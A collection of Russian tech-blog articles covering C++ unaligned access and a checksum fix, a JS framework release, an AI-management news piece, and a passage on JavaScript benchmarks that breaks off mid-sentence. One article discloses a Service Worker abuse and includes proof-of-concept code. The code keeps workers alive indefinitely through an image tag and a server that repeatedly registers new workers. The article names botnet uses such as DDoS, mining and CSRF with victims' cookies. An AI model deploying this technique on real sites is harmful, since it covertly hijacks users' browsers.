+= q[1]; sum += q[2]; sum += q[3]; sum += q[4]; for (size_t i = 5; i < size / 4; i++) { sum += q[i]; } do { sum = (sum & 0xFFFF) + (sum >> 16); } while (sum & ~0xFFFFL); return sum == 0xFFFF; } Из этого получается в точности такой же ассемблерный код, как и в коде с memcpy и, очевидно, он работает с той же скоростью. Ещё несколько шаблонов Наш код читает только невыровненные данные, так что класса const_unaligned_pointer достаточно. Что если бы мы захотели написать его тоже? Мы можем написать класс и для этого, но в данном случае нам нужно два класса: один для указателя, а другой для l-значения, которое получается во время разыменования этого указателя: template<typename T> class unaligned_ref { void * p; public: unaligned_ref (void * p) : p (p) {} T operator= (const T& rvalue) { memcpy (p, &rvalue, sizeof (T)); return rvalue; } operator T() const { T tmp; memcpy (&tmp, p, sizeof (T)); return tmp; } }; template<typename T> class unaligned_pointer { char * p; public: unaligned_pointer () : p (0) {} unaligned_pointer (void * p) : p ((char*)p) {} unaligned_ref<T> operator* () const { return unaligned_ref<T> (p); } unaligned_pointer operator+ (ptrdiff_t d) const { return unaligned_pointer (p + d * sizeof (T)); } unaligned_ref<T> operator[] (ptrdiff_t d) const { return *(*this + d); } }; Опять же, этот код просто демонстрирует идею; требуется многое добавить, чтобы он подходил для использования в продакшне. Попробуем запустить простой тест: char mem [5]; void dump () { std::cout << (int) mem [0] << " " << (int) mem [1] << " " << (int) mem [2] << " " << (int) mem [3] << " " << (int) mem [4] << "\n"; } int main (void) { dump (); unaligned_pointer<int> p (mem + 1); int r = *p; r++; *p = r; dump (); return 0; } Вот его выдача: 0 0 0 0 0 0 1 0 0 0 Мы могли бы написать ++ *p; но это требует определения operator++ в unaligned_ref . Выводы Проблемы с выравниванием относятся не только к процессорам RISC. Из-за SSE они также актуальны на процессорах x86 (как в 32-битном, так и в 64-битном режимах). В нашем случае компилятор был прав, используя SSE в сгенерированном коде. Однако он мог задействовать невыровненный доступ — это было бы не только более надёжно, но и быстрее (и скрыло бы проблему, так что сбой программы мог бы произойти когда-нибудь в другой момент). Есть преимущество в написании максимально переносимой программы: ваш собственный процессор может внезапно начать вести себя как совершенно другой. Существует много кода, написанного двадцать лет и работавшего только под Intel. Этот код может внезапно начать выдавать сбои таким же образом. Есть один практический совет: отключить все возможные расширенные наборы инструкций во время компиляции такого кода — однако, даже это может не помочь. Эта история демонстрирует, что в инструментах для покрытия кода есть что-то полезное. Здесь мне повезло, что входные данные заставили весь код исполняться. В следующий раз может быть иначе. Update На ветке /r/cpp/ пользователь OldWolf2 заметил , что код проверки контрольной суммы содержит ошибку в последней строчке: } while (sum & ~0xFFFFL); Он прав: у 0xFFFFL тип unsigned long , который не всегда такой же как uint64_t . Длина long может быть 32 бита, и тогда инверсия битов (обратный код) произойдёт раньше расширения до 64 бит, а реальная константа в тесте будет 0x00000000FFFF0000 . Легко подобрать входные данные, где такой тест завершится со сбоем — например, для массива из двух слов: 0xFFFFFFFF и 0x00000001 . Мы можем или делать обратный код после перевода в 64 бита: } while (sum & ~(uint64_t) 0xFFFF); Или, как вариант, произвести сравнение: } while (sum > 0xFFFF); Интересно, что GCC производит более лаконичный код во втором случае. Вот версия с тестом: .L15: movzwl %ax, %edx shrq $16, %rax addq %rdx, %rax movq %rax, %rdx xorw %dx, %dx testq %rdx, %rdx jne .L15 А вот версия со сравнением: .L44: movzwl %ax, %edx shrq $16, %rax addq %rdx, %rax cmpq $65535, %rax ja .L44 Комментарии приветствуются ниже или на reddit .
https://habrahabr.ru/post/318456/
habrahabr
Использование Service Worker для создания ботнета
['serviceworker', 'javascript html5', 'безопасность веб-приложений']
Если кратко: в этом посте мы рассмотрим один из множества способов запуска бесконечного выполнения кода Javascript в браузере с помощью Service Worker, а еще немного покритикуем саму...
Если кратко: в этом посте мы рассмотрим один из множества способов запуска бесконечного выполнения кода Javascript в браузере с помощью Service Worker, а еще немного покритикуем саму технологию. Пример вы найдете по этой ссылке . Закройте вкладку. Через несколько минут откройте DevTools/Application/ServiceWorker/Show All. Видите, код продолжает работать (хотя сейчас это может уже исправлено). Catworker работает непрерывно и, подобно зомби, выполняет различные задания. То есть не нужно использовать вредоносную страницу, достаточно любого блога с адресом . Возможность добавлять сторонние изображения в комментариях позволит запустить наш код: <img src="https://truefactor.io/cat.gif"> Веб-разработчики такого не ожидали:  как тег изображения может запустить выполнение кода JS? Каким образом JS может выполняться непрерывно? Разве так можно? Service Worker — это слишком сложно Чтобы повысить популярность «прогрессивных» веб-приложений, команда Chrome создала Service Worker, не спрашивая у вас разрешения. На практике это новое «продвинутое» решение используется только чтобы показывать всплывающее push-уведомление (Конечно, полезность Service Worker-ов на этом не ограничивается, с их помощью реализуются, например, offline-режим и backsync, – прим. переводчика) . Если вы не верите мне на слово, откройте свои зарегистрированные Service Worker и изучите их содержимое. Даже это будет сделать не так-то просто: сотни строк кода, зависимость от FCM и т. д. (FCM = Firebase Cloud Messaging, но его использование не является обязательным в данном случае, – прим. переводчика) . Разместите sw.js на сервере, зарегистрируйте worker на стороне клиента, подождите получения Promise, затем выполните serviceWorkerRegistration.pushManager.getSubscription(), запросите конечную точку и registration_id и сохраните их на сервере. Так реализовал бы я: navigator.pushManager.getSubscription("We will send you weather updates once an hour").then(function(endpoint){ #FCM endpoint }) По моему скромному мнению, Service Worker — это прекрасный ответ на несуществующий вопрос. Научиться использовать это решение гораздо сложнее, чем Appcache (AppCache, в свою очередь, считается устаревшей технологией со своими минусами, – прим. переводчика ) , к тому же оно менее надежно. Как обеспечить долговременную работу Service Worker отключается через 60 секунд после того, как получает последнее событие, например, onmessage, onfetch, onforeignfetch и т. д. 1. Отправка сообщений самому себе. self.addEventListener('message', function (event) {    var spawnNewMessageEvent = function (data) {        return new Promise(function (success) {            setTimeout(function () {                var sw = self.registration.active;                sw.postMessage(data);                success("success");            }, 30000)        });    };    event.waitUntil(doSomething().then(spawnNewMessageEvent)); }); 1. Два worker отправляют друг другу запросы ForeignFetch. Чтобы использовать ForeignFetch, вам понадобится получить токен Origin Trial  — полностью автоматизированный процесс, который не требует проверки или подтверждения и позволяет злоумышленнику применять новые экспериментальные технологии на реальных пользователях без их согласия. 2. Catworker отправляет cat.gif запрос fetch, в результате регистрируется новый worker с другой областью работы (это называется регистрация по ссылке). Процесс повторяется каждые 55 секунд. require 'sinatra' ot = 'AglMWHYLtMNT8FVZp9u368r0HZPKh7Pjfm7WYEyHwKz4zwaSznv682Bckrz903mz54CVZQACD5ZlSrLpuh8CKQIAAABYeyJvcmlnaW4iOiAiaHR0cHM6Ly90cnVlZmFjdG9yLmlvOjQ0MyIsICJmZWF0dXJlIjogIkZvcmVpZ25GZXRjaCIsICJleHBpcnkiOiAxNDg0OTM2NzI3fQ==' get "/cat.gif" do  response.headers['Origin-Trial'] = ot;  response.headers['Access-Control-Allow-Origin'] = '*';  response.headers['Link'] = '</sw?'+rand(999999999).to_s+'>; rel="serviceworker"; scope="/'+rand(999999999).to_s+'"'  if params[:skip]    'ok'  else    response.headers['Content-Type'] = "image/gif"    File.open('./cat.gif').read  end end get "/sw" do  response.headers['Content-Type'] = "text/javascript"  return sw=<<HTML //#{rand(999999999).to_s} setTimeout(function(){  console.log("Forking")  fetch('https://truefactor.io/cat.gif?skip=1&'+Math.random(9999999)); }, 30000); HTML end Как это могут использовать злоумышленники? Прямо сейчас у злоумышленников есть три варианта атаки вашего браузера: DDoS (легко предотвратить с помощью черного списка). Вычисления с большой нагрузкой на память, например майнинг scrypt/litecoin. Можно получить лишь 2000 хеш-функций в секунду, но зато абсолютно бесплатно. К тому же можно использовать для вычислений миллионы машин. Обратите внимание на другие функции , которые предлагает Service Worker. Самый опасный вариант — отложенная атака CSRF. Обнаружив на веб-сайте уязвимость CSRF, вы можете направить задачу всем своим «зомби» и использовать их файлы cookie, чтобы выполнять запросы от их имени. Процессы Service Worker постоянны по своей природе. Они выполняются после того, как вы закроете вкладку, произвольно получают события синхронизации и запускаются, обновляются каждые 24 часа, а если вы разрешаете веб-сайту отправлять push-уведомления, они могут выполнять код JS при каждом показе всплывающего окна. Все это уже давно используется. В будущем у злоумышленников будет еще больше способов обойти защиту, чтобы их код продолжал работать. Сейчас этому классу ошибок уделяют недостаточно внимания. Тикеты публичны ( 1 , 2 , 3 ) и получают минимальный приоритет. Помимо всего этого, подход Origin Trial не безупречен : кто угодно может получить токен, любой может воспользоваться экспериментальной функцией в своих целях. Нужна возможность включать и отключать Service Worker по желанию. Я убежден, что нужно добавить флажок для отключения Service Worker. Лично мне эта технология пользы не приносит. (Вы читали документацию Cache? Это же как китайская грамота.) Новые функции поступают в эксплуатацию без должной проверки, так что нельзя быть уверенным в Same Origin Policy и других важных концепций безопасности… Вот еще несколько описаний несерьезных уязвимостей: FF , JSONP+XSS=takeover ,  атака доменов изолированной программной среды (Sandbox).
https://habrahabr.ru/company/badoo/blog/318000/
habrahabr
Front-end JavaScript framework Evolution :: release 1.5.7
['front-end', 'javascript', 'framework', 'adaptive']
С момента презентации мной первой публичной бета версии front-end фреймворка Evolution прошло порядка месяца и я успел порядочно доработать код до Production release и существенно расширить...
С момента презентации мной первой публичной бета версии front-end фреймворка Evolution прошло порядка месяца и я успел порядочно доработать код до Production release и существенно расширить функционал. Стоит сказать, что основная идея создания своего фреймворк лежала в основном в ключе минимализма и мобильности. Очень хотелось свой отечественный вариант фреймворка с частичным функционалом jQuery, набором некоторых готовых компонентов вроде табов и слайдера, а так же поддержкой адаптивности. На данный момент получился движок размером всего в около 50Кб со стилями и кодом, где основная функциональная часть в минифицированной версии весит всего 19,4Kb. Первым делом был существенно доработан механизм анимаций, который теперь поддерживает full stack 3D и 2D трансформаций. Движок автоматически устанавливает контекст работы с трансформациями в 3D режим и поддерживает все свойства CSS3 transform. Пример: // установим правильный контекст для элемента $.dom("a:first-child", "style", ['display:inline-block', 'transform:perspective(200px)']); // анимируем все, что заблагорассудится $.dom("a:first-child","animate",['left:-170px:3000:pulse', 'font-size:30px:1000', 'color:gold:3000', 'transform:rotateX(360deg) rotateZ(360deg) perspective(40px):2000:flicker']); Кроме того, функционал анимаций теперь располагает функционалом для анимации цветов в режиме RGBa. Делать для этого чего-то особенного не нужно. Можно указывать цвета в формате RGB или просто по названию(имеется коллекция поддерживаемых имен), а так же в формате #dcdcdc. Система автоматически сконвертирует цвета в RGBa и применит анимацию к свойствам color, background-color или border-color. В движке появились эффекты easing. Вот полный список временных функций для работы с анимациями: easeIn, easeOut, easeOutQuad, easeOutCubic, easeInOutCubic, easeInQuart, easeOutQuart, easeInOutQuart, easeInQuint, easeOutQuint, easeInOutQuint, elastic, easeInElastic, easeOutElastic, easeInOutElastic, easeInSin, easeOutSin, easeInOutSin, easeInCirc, easeOutCirc, easeInOutCirc, easeInQuad, easeInExpo, easeOutExpo, easeInOutExpo, easeOutBounce, bouncePast, bounce, radical, harmony, back, expo, easeOutStrong, easeInBack, easeOutBack, swingTo, swingFrom, spring, blink, pulse, wobble, sinusoidal, flicker, mirror. Evolution JS — это первый микрофреймворк с подобным функционалом весом всего 20кб и отсутствием каких либо зависимостей. На основе мнений с прошлой моей презентации было решено слегка изменить API для применения событий типа click, hover и так далее. Теперь это делается так: $.event('a:first-child', 'click', function(e){ e.preventDefault(); }) Помимо множественных оптимизаций и рефакторинга появились новые функции. Local Storage API: $.storage(['evolution={"js framework": "1.5.8"}'],'set'); $.storage('evolution','get'); $.storage('evolution','del'); Class API: $.addClass('#some','class-test'); $.removeClass('#some', 'class-test'); $.hasClass('#some', 'class1 class2 class3'); //returns true if all classes defined for element #some Достаточно сильно переработан модуль Grid, который адаптивно подключает одну из 5ти схем CSS в зависимости от размера экрана пользователя: 1 — mobile.css(экраны размером 480px и меньше), 2 — tablet.css(экраны от 480 до 768 px), 3 — ptablet.css (экраны от 768px до 960px), 4 — desktop.min(от 960px до 1280px), 5 — desktop-max.css(экраны больше 1280px). → Скачать фреймворк можно со страницы проекта github В следующих версиях планируется сильное изменение API по просьбам хабровчан, которое будет соответствовать синтаксису jQuery, а также в ядро войдет модуль router. До сих пор принимаю предложения по улучшению функционала и заказы на реализацию каких востребованных вами фич.
https://habrahabr.ru/post/318472/
habrahabr
Основатель крупнейшего в мире хедж-фонда Рей Далио собирается передать управление в руки ИИ
['хедж-фонд', 'bridgewater associates', 'рей далио', 'ии']
Bridgewater Associates – самый крупный хедж-фонд в мире, который обслуживает множество институциональных клиентов: пенсионные и благотворительные фонды, некоммерческие организации,...
Bridgewater Associates – самый крупный хедж-фонд в мире, который обслуживает множество институциональных клиентов: пенсионные и благотворительные фонды, некоммерческие организации, правительства и центральные банки. Сейчас хедж-фонд управляет активами более чем на 150 миллиардов долларов. Чтобы добиться таких впечатляющих результатов, основатель компании Рей Далио (Ray Dalio) приложил немало усилий, в том числе для создания уникальной корпоративной культуры. Основатель Bridgewater в первую очередь знаменит своим неординарным подходом к управлению, и идея переложить решение управленческих задач на искусственный интеллект вполне согласуется с его принципами. В 2015 году в компании собрали команду инженеров-программистов, специализирующихся в области анализа и искусственного интеллекта. Возглавил новое подразделение The Systemized Intelligence Lab Дэвид Ферруччи, который ранее руководил развитием суперкомпьютера IBM Watson . В Bridgewater Associates он работает над созданием секретного проекта, который Далио называет «Книгой будущего». Глава компании хочет, чтобы его детище продолжало развиваться по тому пути, который он наметил для нее, даже в его отсутствие. Самый большой в мире хедж-фонд создает часть программного обеспечения для автоматизации ежедневных управленческих решений, в том числе найма, увольнения и других задач. Новая технология должна закрепить особенности управления хедж-фондом в системе программного обеспечения. Далио мог бы раздавать свои указания с помощью системы GPS c точностью до координат сотрудников и наблюдать, как они проводят свой день, говорить, стоит ли делать конкретный телефонный звонок. В Bridgewater уже широко применяются программы, управляемые данными. Сотрудники оценивают друг друга на протяжении всего дня, используя систему оценок под названием Dots. У Systematized Intelligence Lab есть встроенный инструмент, в который включены эти рейтинги в формате «бейсбольных карточек», которые демонстрируют сильные и слабые стороны работников компании. Другое приложение, получившее название Contract, получает данные о тех целях, которые сотрудники хотят достичь, а затем отслеживает, насколько хорошо они справляются с достижением этих целей. Все эти приложения – часть ведущего программного обеспечения компании PriOS. Далио планирует переложить три четверти управленческих решений на эту платформу в течение пяти лет. В обязанности PriOS войдет подбор подходящих сотрудников для конкретных вакансий и ранжирование противоположных точек зрения многочисленных членов команды, когда они не могут прийти к согласию, какой стратегии придерживаться в дальнейшем. Машина будет принимать решения в соответствии с набором принципов о видении компании, изложенных Далио. Сейчас система находится в стадии разработки, и точные детали ее работы все еще обсуждаются внутри компании. Знакомые с проектом сотрудники описывают его как «попытку сделать из компьютера мозг Рея». Рей Далио вернулся к управлению Bridgewater в начале этого года после того, как покинул пост руководителя 6 лет назад. За это время, по его мнению, компания стала менее эффективной, и он решил провести ряд преобразований, в процессе которого самые слабые сотрудники будут уволены. С момента возвращения Далио под сокращение попали 10% всех сотрудников компании. Часто сотрудники уходят сами – не выдерживают давления. По данным компании, около 1/5 всех новоприбывших покидают Bridgewater в течение первого года работы. Текущая программа по работе с персоналом включает в себя правила, изложенные на 123 страницах манифеста, известного как The Principles. Каждый член команды должен знать все правила и активно применять их в своей работе. “Люди работают как машины” – эта мысль встречается в тексте манифеста 84 раза. Однако главная проблема, по мнению Рея Далио, заключается в том, что люди не могут достигнуть максимальной производительности из-за вмешательства эмоций. Решить эту задачу можно только с помощью систематической практики. То же самое можно сказать и об управлении. «Успешные менеджеры разрабатывают «механизм», состоящий из правильных людей, которые делают правильные вещи, чтобы получить то, что они хотят» – пишет он в The Principles. Автоматизация процесса принятия решений является привлекательной для бизнеса, так как это поможет сэкономить время и исключить эмоциональную неустойчивость человека. Но будут ли люди с радостью принимать заказы от роботизированного менеджера? Здесь мнения большинства экспертов расходятся. Одни считают, что люди, как правило, не воспринимают сообщение, которое исходит от машины. В компаниях, которые действительно хороши в аналитике данных, очень часто решение разрабатывает статистический алгоритм, но ответственность за его принятие все равно лежит на человеке. Машины хорошо справляются со своей задачей, но нужен тот, кто может поставить это решение в эмоциональный контекст. В другом лагере считают, что человечество уже давно следует воле машин: мы «перенесли на аутсорсинг» разработку маршрута движения к GPS-навигаторам и доверяем автопилоту в управлении самолетом. Существует и компромиссная позиция: искусственный интеллект лучше справляется с административными задачами вроде создания отчета о доходах и графиков ресурсов, в то время как люди превосходят его в написании публичных выступлений и сообщений для клиентов, мотивации сотрудников и разработке стратегии. Однако это лишь предположение. Мы не можем судить о возможностях ИИ в решении стратегических и творческих задач до тех пор, пока не дадим ему возможность проявить себя.
https://geektimes.ru/post/284084/
habrahabr
Правда о традиционных JavaScript-бенчмарках
['javascript', 'профилирование', 'оптимизация', 'бенчмарки', 'никто не читает теги']
Пожалуй, будет достаточно справедливо сказать, что JavaScript — самая важная современная технология в разработке программного обеспечения. Для многих из тех, кто изучал языки программирования,...
Пожалуй, будет достаточно справедливо сказать, что JavaScript — самая важная современная технология в разработке программного обеспечения. Для многих из тех, кто изучал языки программирования, компиляторы и виртуальные машины, всё ещё удивителен тот факт, что при всей своей элегантности с точки зрения структуры языка JavaScript не слишком хорошо оптимизируем с точки зрения компилирования и не может похвастаться замечательной стандартной библиотекой. В зависимости от того, кто ваш собеседник, вы можете неделями перечислять недоработки в JavaScript и всё равно обнаружите какую-то странность, о которой ещё не слышали. Но несмотря на очевидные недостатки, сегодня JavaScript является ключевой технологией в вебе, идет к доминированию в серверной/облачной сфере (благодаря Node.js), а также проникает в интернет вещей. Возникает вопрос — почему JavaScript так популярен? Боюсь, у меня нет исчерпывающего ответа. Сегодня есть много причин для использования этого языка, важнейшими из которых, вероятно, являются огромная экосистема, выстроенная вокруг JavaScript, и несметное количество ресурсов. Но всё это в известной мере следствия. А почему же изначально язык стал популярен? Вы можете сказать: потому что долгое время он был лингва франка для веба. Но это было очень давно, и разработчики страстно ненавидели JavaScript. Если оглянуться назад, то рост популярности JavaScript начался во второй половине 2000-х. Как раз в те времена движки JavaScript начали гораздо быстрее работать с различными нагрузками, что, вероятно, повлияло на отношение многих к этому языку. В те годы для измерения скорости применялись так называемые традиционные JavaScript-бенчмарки , начиная с Apple SunSpider , прародителя всех JS-микробенчмарков, затем были Mozilla Kraken и Google V8. Позднее гугловский бенчмарк был вытеснен Octane , а Apple выпустила JetStream . Эти традиционные бенчмарки приложили невероятные усилия для выведения производительности JavaScript на такую высоту, какой в начале века никто не ожидал. Отмечались тысячекратные ускорения, и внезапно использование <script> перестало быть танцем с дьяволом, а выполнение вычислений на клиентской стороне стало не просто возможным, а даже поощряемым. Источник: Advanced JS performance with V8 and Web Assembly , Chrome Developer Summit 2016, @s3ththompson . В 2016 году все (значимые) JS-движки достигли невероятной производительности, и веб-приложения стали такими же шустрыми, как и нативные (или могут быть такими же шустрыми). Движки поставляются со сложными оптимизированными компиляторами, генерирующими короткие последовательности высокооптимизированного машинного кода. Достигается это за счёт вдумчивого выбора типа/формы (type/shape) для каждой операции (доступ к свойствам, двоичные операции, сравнения, вызовы и так далее) в зависимости от имеющейся статистики по различным типам/формам. Большинство этих оптимизаций диктовались микробенчмарками наподобие SunSpider и Kraken, а также статистическими пакетами вроде Octane и JetStream. Благодаря основанным на JavaScript технологиям вроде asm.js и Emscripten сегодня можно компилировать в JavaScript большие С++-приложения и выполнять их в браузере безо всякого скачивания и установки. Например, вы без труда прямо из коробки поиграете по сети в AngryBots , в то время как раньше для этого требовались специальные плагины вроде Adobe Flash или Chrome PNaCl. Подавляющее большинство всех этих достижений стало возможным благодаря наличию микробенчмарков и пакетов измерения производительности, а также конкуренции, возникшей между традиционными JS-бенчмарками. Можете что угодно говорить о SunSpider, но очевидно, что без него производительность JavaScript вряд ли была бы такой, как сегодня. Но довольно восхвалений, пришла пора взглянуть на обратную сторону монеты. Все измерительные тесты — будь то микробенчмарки или большие пакеты — обречены со временем становиться неактуальными! Почему? Потому что бенчмарк может вас чему-то научить только до тех пор, пока вы не начнёте с ним играться. Как только вы превысите (или не превысите) определённый порог, общая применимость оптимизаций, дающих выигрыш для данного бенчмарка, будет экспоненциально уменьшаться. Например, мы использовали Octane в качестве прокси для измерения производительности реальных веб-приложений. И какое-то время он достаточно хорошо справлялся с этой задачей. Но сегодня распределение времени (distribution of time) в Octane и реальных приложениях сильно различается, поэтому дальнейшая оптимизация Octane вряд ли приведёт к каким-то значимым улучшениям в реальных приложениях (в том числе и для Node.js). Источник: Real-World JavaScript Performance , конференция BlinkOn 6, @tverwaes . По мере того как становилось всё более очевидным, что все традиционные бенчмарки для измерения производительности JavaScript, включая самые свежие версии JetStream и Octane, похоже, себя изжили, мы начали искать новые пути измерения реальных приложений, добавив в V8 и Chrome новые перехватчики для профилирования и трассировки. Также мы задействовали средства, позволяющие понять, на что у нас тратится больше времени при просмотре сайтов: на исполнение скрипта, сборку мусора, компилирование и так далее. Результаты исследований оказались очень интересными и неожиданными. Как видно из предыдущей иллюстрации, при запуске Octane более 70 % времени тратится на исполнение JavaScript и сборку мусора, в то время как при просмотре сайтов на JavaScript всегда уходит меньше 30 % времени, а на сборку мусора — не более 5 %. Зато немало времени отнимают парсинг и компилирование, чего не скажешь об Octane. Так что значительные усилия по оптимизации исполнения JavaScript дадут вам хороший прирост попугаев в Octane, но сайты не станут грузиться заметно быстрее. Причём увлечение оптимизацией исполнения JavaScript может даже навредить производительности реальных приложений, потому что на компилирование начнёт уходить больше времени — или вам понадобится отслеживать дополнительные параметры, что удлинит компилирование, IC и Runtime. Есть ещё один пакет бенчмарков, который пытается измерять общую производительность браузера, включая JavaScript и DOM: Speedometer . Он старается подходить к измерению более реалистично, запуская простое приложение TodoMVC , реализованное на разных популярных веб-фреймворках (на сегодняшний день оно немного устарело, но уже делается новая версия). В пакет включены новые тесты (angular, ember, react, vanilla, flight и backbone). На сегодняшний день Speedometer выглядит наиболее предпочтительным вариантом на роль прокси для измерения производительности реальных приложений. Но обратите внимание, что это данные по состоянию на середину 2016 года, и всё уже могло измениться по мере развития применяемых в вебе паттернов (например, мы рефакторим IC-систему для сильного снижения издержек, а также перепроектируем парсер ). Хотя выглядит так, будто вышеописанная ситуация имеет отношение только к просмотру сайтов, мы получили очень убедительное доказательство того, что традиционные бенчмарки пиковой производительности не слишком хорошо подходят на роль прокси и в случае с реальными Node.js-приложениями. Источник: Real-World JavaScript Performance , конференция BlinkOn 6, @tverwaes . Возможно, всё это уже известно широкой аудитории, так что дальше я лишь остановлюсь на нескольких конкретных примерах, иллюстрирующих мысль, почему для JS-сообщества не просто полезно, но и критически важно с определённого момента прекратить обращать внимание на статические бенчмарки пиковой производительности. Начну с примеров того, как JS-движки могут проходить бенчмарки и как они это делают на самом деле. Печально известные примеры с SunSpider Статья о традиционных JS-бенчмарках была бы неполной без упоминания очевидных проблем SunSpider. Начнём с теста производительности, чья применимость в реальных ситуациях ограничена: bitops-bitwise-and.js . Здесь есть пара алгоритмов, которым требуется быстрая поразрядная операция И (bitwise AND), особенно в коде, транспилированном (transpile) из C/C++ в JavaScript. Однако вряд ли веб-страницам есть дело до того, может ли движок выполнять поразрядную операцию И в цикле вдвое быстрее другого движка. Вероятно, вы заметили, что после первой итерации цикла bitwiseAndValue становится равно 0 и остаётся таковым в течение следующих 599 999 итераций. Так что как только вы прогоните это с хорошей производительностью, то есть быстрее 5 мс на приличном железе, можете начать гонять этот бенчмарк в попытках понять, что нужна только первая итерация этого цикла, а все остальные — просто потеря времени (то есть мёртвый код после расщепления цикла ). Для выполнения такого преобразования в JavaScript потребуется проверить: является ли bitwiseAndValue обычным свойством глобального объекта до исполнения скрипта, чтобы не было перехватчика глобального объекта или его прототипов, и так далее. Но если вы действительно хотите победить в бенчмарке и ради этого готовы на всё, то можете выполнить тест менее чем за 1 мс. Но применимость оптимизации ограничена лишь этим конкретным случаем, и небольшие изменения теста, вероятно, не приведут к её срабатыванию. Короче, тест bitops-bitwise-and.js был худшим примером микробенчмарка. Перейдём к более практичному примеру — тесту string-tagcloud.js . По сути, он прогоняет очень раннюю версию полифилла json.js . Пожалуй, этот тест выглядит куда разумнее предыдущего. Но если внимательнее посмотреть на профиль бенчмарка, то становится очевидно, что он тратит кучу времени на единственное выражение eval (до 20 % общего времени исполнения для парсинга и компилирования и ещё до 10 % для реального исполнения скомпилированного кода): Посмотрим ещё внимательнее: eval исполняется лишь один раз и передаётся JSON-строке, содержащей массив из 2501 объекта с полями tag и popularity : ([ { "tag": "titillation", "popularity": 4294967296 }, { "tag": "foamless", "popularity": 1257718401 }, { "tag": "snarler", "popularity": 613166183 }, { "tag": "multangularness", "popularity": 368304452 }, { "tag": "Fesapo unventurous", "popularity": 248026512 }, { "tag": "esthesioblast", "popularity": 179556755 }, { "tag": "echeneidoid", "popularity": 136641578 }, { "tag": "embryoctony", "popularity": 107852576 }, ... ]) Очевидно, что будет дорого парсить эти объектные литералы, генерировать нативный код и затем его исполнять. Гораздо дешевле просто парсить входную строку в виде JSON и генерировать соответствующий объектный граф. Чтобы улучшить результаты в бенчмарке, можно попробовать всегда изначально интерпретировать eval как JSON и реально выполнять парсинг, компилирование и исполнение только в том случае, если не получится прочитать в виде JSON (правда, для пропуска скобок потребуется дополнительная магия). В 2007 году такое не сошло бы даже за плохой хак, ведь ещё не существовало JSON.parse . А к 2017-му это превратилось просто в технический долг в JavaScript-движке, да ещё и потенциально может замедлить использование eval . По сути, обновление бенчмарка до современного JavaScript --- string-tagcloud.js.ORIG 2016-12-14 09:00:52.869887104 +0100 +++ string-tagcloud.js 2016-12-14 09:01:01.033944051 +0100 @@ -198,7 +198,7 @@ replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(:?[eE][+\-]?\d+)?/g, ']'). replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) { - j = eval('(' + this + ')'); + j = JSON.parse(this); return typeof filter === 'function' ? walk('', j) : j; } приводит к немедленному повышению производительности: на сегодняшний день runtime для V8 LKGR снижается с 36 до 26 мс, 30-процентное улучшение! $ node string-tagcloud.js.ORIG Time (string-tagcloud): 36 ms. $ node string-tagcloud.js Time (string-tagcloud): 26 ms. $ node -v v8.0.0-pre $ Это обычная проблема статичных бенчмарков и пакетов тестирования производительности. Сегодня никто не будет всерьёз использовать eval для парсинга JSON-данных (по причине безопасности, а не только производительности). Вместо этого во всём коде, написанном за последние пять лет, используется JSON.parse . Более того, применение eval для парсинга JSON в production может быть расценено как баг! Так что в этом древнем бенчмарке не учитываются усилия авторов движков по увеличению производительности относительно недавно написанного кода. Вместо этого было бы полезно сделать eval излишне сложным, чтобы получить хороший результат в string-tagcloud.js . Перейдём к другому примеру — 3d-cube.js . Этот бенчмарк выполняет много матричных операций, с которыми даже самые умные компиляторы не могут ничего поделать, кроме как просто исполнить. Бенчмарк тратит много времени на выполнение функции Loop и вызываемых ею функций. Интересное наблюдение: функции RotateX , RotateY и RotateZ всегда вызываются с параметром-константой Phi . Это означает, что мы всегда вычисляем они и те же значения для Math.sin и Math.cos , каждое по 204 раза. Есть только три разных входных значения: 0,017453292519943295 0,05235987755982989 0,08726646259971647 Чтобы избежать лишних вычислений одних и тех же значений синуса и косинуса, можно кешировать ранее вычисленные значения. Раньше V8 именно это и делал, а все остальные движки делают так до сих пор. Мы убрали из V8 так называемый трансцендентальный кеш , поскольку его избыточность была заметна при реальных нагрузках, когда ты не вычисляешь всегда одни и те же значения в строке. Мы сильно провалились в результатах бенчмарка SunSpider, убрав эту специфическую оптимизацию, но полностью уверены, что не имеет смысла оптимизировать под бенчмарк и в то же время ухудшать результаты на реальных проектах. Источник: arewefastyet.com . Очевидно, что лучший способ работы с такими константами — входными синусом/косинусом — нормальная эвристика замещения вызова (inlining heuristic), которая попытается сбалансировать замещение и учесть разные факторы вроде предпочтения замещения в точках вызова, когда может быть полезна свёртка констант (constant folding) (как в случае с RotateX , RotateY и RotateZ ). Но по ряду причин такое не подходило для компилятора Crankshaft. Зато это разумный вариант в случае с Ignition и TurboFan, и мы уже работаем над улучшением эвристики замещения . Сборка мусора считается вредной Помимо специфических случаев, у SunSpider есть и другая фундаментальная проблема: общее время исполнения. Сейчас на приличном железе Intel движок V8 прогоняет весь бенчмарк примерно за 200 мс (в зависимости от живых объектов в новом пространстве и фрагментации старого пространства), в то время как основная пауза на сборку мусора легко может достигать 30 мс. И мы ещё не учитываем расходы на инкрементальную маркировку (incremental marking), а это более 10 % общего времени исполнения пакета SunSpider! Так что если движок не хочет замедлиться на 10—20 % из-за сборки мусора, то ему нужно как-то удостовериться, что она не будет инициирована во время выполнения SunSpider. Для этого используются разные трюки, но все они, насколько мне известно, не оказывают положительного влияния на реальные задачи. V8 поступает просто: поскольку каждый тест SunSpider выполняется в новом <iframe> , соответствующем новому нативному контексту , то мы просто регистрируем создание и размещение <iframe> (на каждый из тестов SunSpider тратится меньше 50 мс). И тогда сборка мусора выполняется между процедурами размещения и создания, а не во время теста. Эта уловка работает хорошо и в 99,99 % случаев не влияет на реальные проекты. Но если V8 решит, что ваше приложение выглядит как тест SunSpider, то принудительно запустит сборщик мусора, и это негативно отразится на скорости работы. Так что не позволяйте приложению выглядеть как SunSpider ! Я мог бы привести и другие примеры, связанные с SunSpider, но не думаю, что это будет полезно. Надеюсь, вам уже ясно, что оптимизировать под SunSpider ради того, чтобы превзойти результаты хорошей производительности, не имеет смысла для реальных приложений. Думаю, мир выиграл бы от того, если бы SunSpider больше вообще не было, потому что движки могут применять странные хаки, полезные только для этого пакета и способные навредить в реальных ситуациях. К сожалению, SunSpider всё ещё очень активно используется в прессе при сравнении того, что журналисты считают производительностью браузеров. Или, что ещё хуже, для сравнения смартфонов! Конечно, тут проявляется и интерес производителей. Лагерю Android важно, чтобы Chrome показывал хорошие результаты на SunSpider (и прочих ныне бессмысленных бенчмарках). Производителям смартфонов нужно зарабатывать, продавая свою продукцию, а для этого требуются хорошие обзоры. Некоторые компании даже поставляют в смартфонах 